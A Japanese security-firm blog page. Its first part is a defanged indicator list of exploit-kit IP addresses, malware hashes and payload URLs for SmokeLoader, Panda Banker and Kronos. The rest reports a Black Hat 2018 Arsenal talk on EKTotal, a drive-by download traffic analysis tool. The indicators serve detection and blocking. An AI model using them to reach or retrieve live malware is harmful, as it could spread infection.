攻撃には一般的なExploit Kitが用いられていますが、弊社のCyber Tactical Databaseではそれらの最新のIOC情報を提供しており、攻撃の検知・遮断等に活用することが可能です。

Cyber Tactical Database - 株式会社アクティブディフェンス研究所

IOC

RIG Exploit Kit

  • 188.225.10.225
  • 188.225.32.211
  • 188.225.18.200
  • 5.23.54.158
  • 176.57.208.166
  • 188.225.36.15
  • 188.225.26.251
  • 188.225.56.133
  • 188.225.11.110
  • 188.225.26.110

GrandSoft Exploit Kit

  • 185.17.122.166

SmokeLoader

  • a021999d1153d87f8f21eb98fe4d34dd3d6b38eed28b831c0b5302f630e482c3
  • 582f1533d05d514fb4523220ce47b4a3d4e18f47eead75316fd4c49687d84a8b
  • 11268bd6156fef367ce50abb98512123e3128423a6c21474b90e7248a9b95782
  • f44390ffb91a02f0ae930e226ffcaa92e68304fd87dafce10373415f5f01b978
  • a85f9882b92d6714cf8a24b1f93a773ce9d16aced7b3fc8f2bef69d1cb956ea0
  • 639151b788ebadee1417819763037d396a5b6e5ec59e25ca5ae43c08702f2ba6
  • adcf1d2909fea4e4cf77f65511e88c507e033f6e3b6b2b4aebe5c39a0bbe34c1
  • d4abb62b878a78f7a0c621e29c742bf9132e4cb787b8db5cacb5efb46039a2cd
  • 41964307a2cf2f0a140ef77fbca9f3450c20a333be00071e2d3d2d452cc167ac
  • 8a12b9d27989b30e49aaf3d3b0d95b470e8ac7b5b236a9ce95e04b983509fd7c

  • http[:]//lionoi.adygeya.su
  • http[:]//ionoiddi.mangyshlak.su

  • http[:]//eee6t087t9.website/loader.exe
  • http[:]//fritsy83.space/loader.exe

Panda Banker

  • 5d8d681d912ff3a3cdf67eb699dbce67c2c48065f966f752347d8577ff00b0d8
  • 6e131928aee8964f5226cbe0a030f6a553f2a05dd21053e7b29663dbf28b016e
  • 70e4ac413fbfa43be60342bb573feceacbd44e807693fb3f42c5c97e44593e3d

  • http[:]//fritsy83.website/1ypegnysafoexypaszoxy.exe
  • http[:]//cna8a9.space/5fewucaopezanxenuzebu.exe
  • http[:]//mioei4.adygeya.su/padnd78s.exe

Kronos (Osiris)

  • 75769405a034d7db09b54b9e227722692a106dd5dc4acf48a60c70cbdc8e3f12
  • 19dee4aada3c9bd146396ae0ac6d10eef54ce617d56a05301bdc8b8161936d60

  • http[:]//oo00mika84.website/Osiris_jmjp_auto2_self.exe
  • http[:]//oo00mika84.website/Osiris_jmjp_auto2_noinj.exe

---

筆者
特任研究員 小池

株式会社アクティブディフェンス研究所
https://www.activedefense.co.jp

2018年8月24日金曜日

Black Hat USA 2018 Arsenal 登壇レポート

2018年8月4~9日にアメリカのラスベガスで開催されたBlack Hat USA 2018で、弊社の小池と野村がArsenal PresenterとしてEKTotalというツールについて発表しました。

Black Hat USA 2018 Arsenal - EKTotal

EKTotal

EKTotalはDrive-by Download攻撃に関するトラフィックデータを自動解析するためのツールです。調査・解析の際に立ちはだかる問題点を解決することを目的としています。

2016年にAngler Exploit KitやNuclear Exploit Kitの活動が停止して以来、Drive-by Download攻撃は大きな焦点を当てられることなく現在に至っています。しかしながら、CVE-2018-4878やCVE-2018-8174など最新の脆弱性を悪用するなど、いまだ積極的に進化しているのが現状です。日本をターゲットとした攻撃キャンペーンも観測されており、SOCやCSIRTなどのセキュリティ技術者がDrive-by Download攻撃の調査・解析を行う可能性は十分に考えられます。

日本をターゲットとした攻撃キャンペーンのトラフィック

Drive-by Download攻撃について調査・解析を行う場合、検知・解析を妨害するために用いられている様々なテクニックを回避する必要があります。例えば、攻撃コードを多重に難読化していたり、攻撃対象のシステムで動作しているかチェックするような処理が含まれていたり、マルウェアを暗号化して送り込むなどという仕組みが多くのExploit Kitに実装されており、Drive-by Download攻撃のトラフィックを解析することは手間と技術を必要とします。また、そもそも攻撃トラフィックを膨大なトラフィックデータの中から選び出すことは、最新のDrive-by Download攻撃キャンペーンについての知識がなければ難しいでしょう。

Exploit Kitで用いられている難読化

それらを解決するために我々はEKTotalを開発しました。EKTotalの使い方は非常に簡単です。Drive-by Download攻撃に関するトラフィックデータを含んだPcapファイルかSazファイルをWebインターフェースから提出するだけで、どれが悪性トラフィックだったのか、どの脆弱性が攻撃された可能性があるのか、どのようなマルウェアが送り込まれたのかなど、最終的な解析結果を得ることが可能です。

EKTotalの解析結果画面

EKTotalは大きく分けて4つの段階に分けて処理を行っています。

  1. まず提出されたファイルからトラフィックデータを読み出し、1つ目のフィルタに通します。このフィルタはMalwarebytesのJerome Segura氏が開発しているEKFiddleというFiddlerの拡張機能の正規表現ルールを利用しています。
  2. 同様に2つ目のフィルタにトラフィックを通します。2つ目のフィルタはEKFiddleのルールに存在しないが、重要だと我々が判断したルールを設定しています。
  3. 1と2によって抽出された悪性トラフィックをそれぞれの解析器によって解析します。EKTotalはRIG、GrandSoft、Magnitude、Bloodlust Drive-byの4つのExploit Kitの解析器を利用することが可能です。
  4. 解析器によって得られた情報をWebインターフェースで表示します。

EKTotalを用いることで、熟練のアナリストでも数十分掛かるような解析作業を2,3秒で行うことができます。

EKTotalはGitHub上で公開しています。Black Hat USA 2018で案内していたデモサーバは既にシャットダウンしてしまいましたが、Dockerを用いて容易にセットアップすることが可能なので、興味のある方は是非試してみて下さい。

事前準備

我々はBlack Hatでの登壇経験はもちろん、国外での登壇すら初めてでした。メインプレゼンターはBlack Hatに参加したこともなく、Arsenalがどのような雰囲気で行われているのか全く分かっていなかったため、過去に参加した方々のブログやレポートを参考に準備を行いました。

Arsenalは80分間ブースを与えられるだけで、それ以外は特に決まっていることはありません。参加者との距離は非常に近く、対話的に進められていくことがほとんどでしょう。我々は英会話にあまり自信がなかったため、なるべく自分たちのペースを守ろうと、事前にがっつりプレゼンテーションスライドを作成しておきましたが、そうも上手くいくとは思っていなかったため、参加者が利用できるデモ環境をクラウド上に作成したり、インターネット障害が発生したときのために動画を用意したりしました。

また、配布物としてステッカーと名刺を用意しましたが、実際には発表内容を1枚にまとめた紙を求められることが多々あり、用意したほうが良かったと思います。

配布したステッカー

発表

我々は朝一番早い10時からの発表で、Arsenalが行われる小さい方のビジネスホールは10時にならないと入場ができないようになっていました。全く人のいない会場で準備をしながら、「全然人来ないかもしれない」と思っていましたが、開場時間になるとあっという間に多くの人がブースにやってきました。

発表の様子

事前に準備していたとおり、全てのスライドを話しつつデモを行っていましたが、聴衆の興味に合わせてスライドの構成を変更することもありました。我々の英語は何とか伝わっているようでしたが、質問の際に相手の言葉が聞き取れないことが多く、それらに予想以上に時間を費やしてしまいました。

概ね肯定的な反応でしたが、多く受けた質問として

  • EKTotalはどこからダウンロードできるのか(OSSなのか)
  • カスタマイズするにはどうしたらいいのか
  • ルールはどうやって作っているのか
  • pcapやsazを用意するのではなく、リアルタイムに処理することはできないか

などがありました。カスタマイズやルールに関しては事前に想定していた質問でしたが、1つ目の「どこからダウンロードできるのか」という質問に関しては、我々としては「当然GitHubにある」という認識でしたが、しっかりとスライド等に明記しておくべきだったと思いました。

また、事前に作成していたステッカーは好評ですぐになくなってしまったのですが、名刺を要求する人が予想よりも遥かに多くいて、事前にテーブル上にたくさん配置しておいたほうが良いように思いました。同じように、「チラシはないか?」と聞かれることも少なからずあったため、なるべく準備しておくほうが良かったかもしれません。

デモの際、会場のインターネット環境が非常に不安定でした。折角Dockerizeしていたのですが、発表スライドを映せるPCと、Dockerを動かせるPCが共存していなくて、無駄に時間が掛かってしまったこともありました。ネットワーク障害は事前に予想していたため動画等でやり過ごしましたが、ローカルに環境を用意するべきでした。

有益なフィードバックとして

  • IPアドレスなどを検査項目に追加したほうが良い
  • トラフィックの繋がりを可視化して欲しい
  • ファイルをダウンロードできるようにして欲しい

などがありました。1つ目と2つ目はEKFiddleに既に実装されている機能で、我々も毎日利用している強力な機能です。今後EKTotalに追加していきたいと思っています。3つ目の「ファイルをダウンロードできるようにして欲しい」というのは、解析結果の話で、現在のEKTotalは解析結果としてマルウェアのハッシュ値とVirusTotalのリンクのみを提供しています。実際にはマルウェア自体もトラフィックデータから抽出しているので、ファイル自体をダウンロードさせることは出来るのですが、法律等の問題から実装していませんでした。しかし、「ダウンロードできるようにして欲しい」という声は思っていたよりも多かったので、管理者がそういった設定を選択できるような自由があっても良いのかもしれないとは思いました。

最後に

アメリカに行くことも国外発表することも初めてで、Black Hat USAがどういったものなのか想像することすら出来ていませんでしたが、今回の発表を通して「何を準備すべき」で「どういった発表が求められているのか」を自分なりに知ることが出来たと思っています。また、普段絶対に会えないような世界トップクラスの技術者と会って話をしたり、Briefingsなどの発表を聞くことで、今後のモチベーションを大きく向上させることができ、非常に良い経験になりました。次回以降も積極的に発表していきたいと思っています。

---

筆者
特任研究員 小池

株式会社アクティブディフェンス研究所
https://www.activedefense.co.jp